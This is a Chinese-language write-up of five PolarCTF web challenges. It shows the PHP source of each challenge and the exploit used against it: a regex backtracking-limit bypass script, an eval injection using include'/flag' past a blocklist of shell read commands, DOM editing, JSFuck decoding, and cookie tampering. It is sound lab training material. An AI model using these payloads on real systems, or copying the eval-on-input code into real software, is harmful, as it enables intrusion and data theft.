一.swp
dirsearch目录扫描
发现/.index.php.swp
访问http://a0c579f4-21e7-4a83-958d-eb86c57beaf4.www.polarctf.com:8090/.index.php.swp
出现php代码
分析代码
// 定义验证函数,检查输入是否匹配正则表达式 /sys.*nb/is
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
// 从POST请求获取参数 xdmtql,并使用 @ 符号抑制可能的错误
$xdmtql=@$_POST['xdmtql'];
// 检查输入是否为数组
if(!is_array($xdmtql)){
// 如果输入不匹配正则表达式 /sys.*nb/is
if(!jiuzhe($xdmtql)){
// 检查输入是否包含字符串 "sys nb"
if(strpos($xdmtql,'sys nb')!==false){
// 若包含 "sys nb",输出flag(flag格式为 flag{*******})
echo 'flag{*******}';
}else{
// 若不包含 "sys nb",提示用户输入是否为真实的 .swp 文件
echo 'true .swp file?';
}
}else{
// 如果输入匹配正则表达式 /sys.*nb/is,输出 "nijilenijile"
echo 'nijilenijile';
}
}
简单来说就是要获取这段代码中的 flag,需要符合:不是数组,不匹配正则表达式,但仍满足字符串包含 "sys nb"
的条件。
回溯限制
我们可以利用正则表达式的回溯限制:
- 正则
/sys.*nb/is
中的.*
是贪婪匹配,会尝试匹配尽可能多的字符。- 当你添加超长字符串时,正则引擎在尝试匹配
nb
时会进行大量回溯,最终可能达到 PHP 的回溯限制(默认是pcre.backtrack_limit = 1000000
)。- 一旦达到限制,正则匹配会失败并返回
false
,从而绕过第一个检查。
这里写了一个python脚本发送post请求
import requests
url='http://f7587f00-8a64-4c49-ba2a-bfcd26f4738a.www.polarctf.com:8090/'
date={'xdmtql': 'sys nb'+'a'*1000000}
result=requests.post(url,data=date)
print(result.content)
得到flag
flag{4560b3bfea9683b050c730cd72b3a099}
二.rce
RCE(Remote Code Execution)即远程代码执行,是一种严重的网络安全漏洞,指攻击者通过漏洞在目标服务器上远程执行任意代码,从而控制服务器或获取敏感信息。
打开后有一段php代码
<?php
/*
PolarD&N CTF
*/
// 显示当前PHP文件源代码(用于审计或测试)
highlight_file(__FILE__);
// 定义过滤函数no,用于检查并过滤危险命令或函数
function no($txt){
// 使用正则表达式匹配并过滤多种危险命令和函数
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
// 若未匹配到危险内容,返回原始输入
return $txt;
} else {
// 若匹配到危险内容,终止程序并输出错误信息
die("what's up");
}
}
// 从POST请求中获取参数yyds的值
$yyds=($_POST['yyds']);
// 检查是否同时满足两个条件:
// 1. 存在GET请求参数sys
// 2. POST参数yyds的值等于字符串'666'
if(isset($_GET['sys']) && $yyds=='666'){
// 对GET参数sys的值应用过滤函数no后,使用eval执行过滤后的内容
eval(no($_GET['sys']));
} else {
// 若条件不满足,输出提示信息
echo "nonono";
}
?> nonono
解析:post满足yyds=666,get获取flag且满足正则表达式要求
这里我们要学会一个函数include,它的主要作用是将另一个 PHP 文件的内容插入到当前脚本中执行。
include基本用法
include '文件路径';
如果文件存在,PHP 会将其内容嵌入到当前脚本并执行。
如果文件不存在,PHP 会抛出 警告(Warning),但脚本会继续执行。
于是用?sys=include'/flag';
得到flag
flag{j6856fd063f0a04874311187da1191h6}
三.蜜雪冰城吉警店
随便点一个试试
弹出来一个弹窗,猜测flag也是通过这个方式弹出来
怎么弹flag呢,看提示: 点到第9个隐藏款奶茶的单子,就会给你flag ^^
这么说要 点到第9个隐藏款奶茶的单子
那就按F12,随便修改一个数字改成9
然后点击修改数字后的奶茶
然后果然弹出了flag
flag{7d43cc8863ad0ee649048e562fde53ec}
四.召唤神龙
看名字就知道挺有意思
打开后发现是个用鼠标控制的小游戏
随便玩了玩,发现通关后也没什么用
于是用dirsearch扫一扫
访问main.js 发现有一段奇怪字符
这个扩展个知识点
JSFuck
JSFuck 是一种极端的 JavaScript 编码方式,它仅使用 6 个字符(
[
,]
,(
,)
,!
,+
)来编写完整的 JavaScript 代码。它的核心原理是利用 JavaScript 的类型转换和强制求值规则,将普通代码转换成由这些符号组成的复杂表达式。
可以直接把它放到控制台,然后按回车
得到flag
flag{fdf9a88ec4fdd9e3dedaafeece5cc248}
五.seek flag
seek flag,寻找flag,那就找找吧
F12,点开网络,搜索flag,真的找到了
flag2 3ca8737a70f029d 但是好像只有一部分,接着找
dirsearch扫描
就扫出来一个,访问/robots.txt,又得到一部分
flag3:c0ad71dadd11},还有一部分我怎么都没找到,只能去看wp了
原来它这里的cookie有问题id=0,发送一个id=1就能得到flag1
不知道为啥用hacker不行,谁能告诉我为啥
于是我用python发送id=1的post请求
import requests
url='http://63f66e87-0c4b-448d-8afd-0e30f82bd0eb.www.polarctf.com:8090/'
cookies={
'id':'1'
}
result=requests.post(url,cookies=cookies)
print(result.text)
得到flag1:flag{7ac5b,把3个flag拼在一起
flag{7ac5b3ca8737a70f029dc0ad71dadd11}